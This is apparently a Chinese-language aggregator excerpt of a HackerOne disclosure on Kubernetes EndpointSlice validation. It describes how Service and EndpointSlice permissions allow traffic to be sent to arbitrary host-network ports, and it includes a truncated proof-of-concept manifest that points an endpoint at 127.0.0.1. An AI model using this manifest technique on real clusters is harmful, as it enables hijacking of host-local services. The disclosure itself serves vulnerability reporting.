Holes in EndpointSlice Validation Enable Host Network Hijack
该报告还没有中文解读。
原文摘录
摘自原文（1829 字符中的一小部分）
Summary: A user with permission to create Services and EndpointSlices can configure these resources to allow sending traffic to arbitrary ports in the host network.
原文中的代码
apiVersion: v1
kind: Service
metadata:
labels:
component: apiserver
name: hijack
namespace: attacker
spec:
ports:
- name: http
port: 2020
protocol: TCP
---
addressType: IPv4
apiVersion: discovery.k8s.io/v1beta1
endpoints:
- addresses:
- 127.0.0.1
conditions:
ready: …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Kubernetes 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @howardjohn · 版权归作者与 Kubernetes 所有